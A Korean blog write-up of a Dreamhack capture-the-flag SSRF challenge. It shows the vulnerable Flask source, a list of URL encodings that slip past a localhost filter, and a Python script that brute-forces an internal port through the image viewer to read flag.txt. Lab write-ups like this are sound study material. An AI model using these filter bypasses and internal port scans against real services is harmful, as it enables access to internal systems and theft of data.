ssrf란 Server Side Request Forgery의 약자로 사이트간 요청을 위조하는 공격 기법이다. 오늘 드림핵으로 맛을 보자.
초기 화면이다
img_viewer로 들어갔을 때의 모습이다.
해당 경로에 있는 이미지 파일을 가져오는 것으로 보인다.
시험삼아 flag.txt를 바로 넣어보자
뭔가 나왔다
base64로 해석해보자
에러다 역시 쉽게 안풀린다. 이제 코드를 확인해보자
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
전체 코드다
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
localhost를 이용한 위조 요청 필터링을 확인할 수 있다. 그렇다면 어떻게 우회가 가능할까?
- http://vcap.me:8000/
- http://0x7f.0x00.0x00.0x01:8000/
- http://0x7f000001:8000/
- http://2130706433:8000/
- http://Localhost:8000/
- http://127.0.0.255:8000/
드림핵에서 긁어온 결과 이 정도 된다. 이 중 필자는 Localhost를 이용하여 문제를 풀어보겠다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
다음으로 확인해야할 것은 포트다. 1500~1800 사이에 로컬 포트를 할당하는 것을 확인할 수 있다. 필자는 무차별 대입으로 이를 해결할 것이다. 이를 위해선 코드를 짜보자.
import requests
no = 'iVBORw0KGg'
for port in range(1500, 1801):
url = 'http://host3.dreamhack.games:13575/img_viewer'
image_url= 'http://Localhost:'+str(port)+'/flag.txt'
data = { "url" : image_url }
response = requests.post(url, data).text
if no in response:
print(str(port))
else:
print(str(port), 'find')
break
천천히 해석해보자
no = 'iVBORw0KGg'
이것은 무엇을 의미할까?
열려있지 않은 포트로 flag.txt에 접근했을 때의 모습이다. 잘 안보이지만 이미지의 source가
으로 되어있다. 따라서 위와 같은 source로 응답이 온다면 닫혀있는 포트에 접속을 시도했다는걸 알 수 있다.
for port in range(1500, 1801):
1500~1800까지 무차별 대입하는 모습
url = 'http://host3.dreamhack.games:13575/img_viewer'
image_url= 'http://Localhost:'+str(port)+'/flag.txt'
data = { "url" : image_url }
localhost+port가 아닌 Localhost+port로 필터링을 우회하는 모습이다.
response = requests.post(url, data).text
if no in response:
print(str(port))
else:
print(str(port), 'find')
break
앞서 말했던 대로 닫혀 있는 포트인지 열려있는 포트인지 판별해주는 식이다. 열려있는 포트를 찾았다면 포트번호와 find를 출력하면서 반복문을 멈춘다.
실행된 모습이다. 1543포트로 접속을 시도해보자
아까와는 다른 이미지 source값이다. 이를 base64로 디코딩해보자.
해결!
"""
좀 더 공부해야할 것들
Q.왜 8000번 포트로 dream.png는 열리면서 flag.txt는 제대로 열리지 않는가
A.8000번 포트는 플라스크에서 사용하는 포트이다. 플라스크는 별다른 설정이 없다면 static 폴더를 사용해 정적 파일을 제공한다. 하지만 flag.txt는 static 폴더안에 존재하지 않는다. 따라서 8000번 포트로는 flag.txt를 열 수 없는 것이다.
문제에서는
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
위와 같은 코드를 통해 파일을 제공해주는 기능을 가지고 있다. 위의 코드를 사용하여 다른 파일들도 열 수 있다.
우선 http.server.HTTPServer() 함수는 파이썬의 내장 모듈인 http.server에 포함되어 있는 클래스이다. 간단한 HTTP 서버를 생성하고 관리하는 데 사용된다. 이 클래스를 사용하면 웹 서버를 만들고 클라이언트의 요청을 처리하며 응답을 제공할 수 있다. 해당 함수를 사용하기 위한 파라미터는 server_address와 RequestHandlerClass가 있다.
-sever_address는 일반적으로 튜플 형태로 (호스트, 포트)로 전달한다.
-RequestHandlerClass는 HTTP 요청을 처리하는 핸들러 클래스를 지정한다. 기본값은 http.server.BaseHTTPRequestHandler이다. 여기서는 http.server.SimpleHTTPRequestHandler가 사용되었다.
-http.server.SimpleHTTPRequestHandler는 간단한 정적 파일을 제공한다.
-serve_forever()는 서버를 시작하고 클라이언트의 연결을 기다리며 요청을 처리하는 메서드이다. 무한 루프 내에서 동작하며, 서버가 종료되거나 예외가 발생하기 전까지 계속해서 클라이언트 요청을 처리하고 응답한다.
위의 기능은 랜덤한 포트에 열려있다. 따라서 해당 기능을 사용하기 위해 포트를 찾기 위한 무차별 대입을 실행한 것이다.
"""
'웹 해킹 > 드림핵' 카테고리의 다른 글
[드림핵] devtools-sources 풀이 (0) | 2023.03.09 |
---|---|
드림핵 Carve Party 문제 풀이 (0) | 2023.02.20 |
드림핵 file-download-1 문제 풀이 (0) | 2023.02.11 |
드림핵 image-storage 풀이 (0) | 2023.02.09 |
[드림핵] command-injection-1 문제풀이 (0) | 2023.02.06 |